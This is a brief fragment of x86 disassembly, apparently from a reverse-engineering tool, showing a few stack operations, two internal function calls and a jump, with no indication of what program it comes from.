push dword [ebp - 0x78]
mov ecx, edi
call fcn.1000bfdf
lea ecx, [ebp - 0x74]
mov esi, eax
call fcn.10001ba0
mov eax, esi
jmp 0x1000e538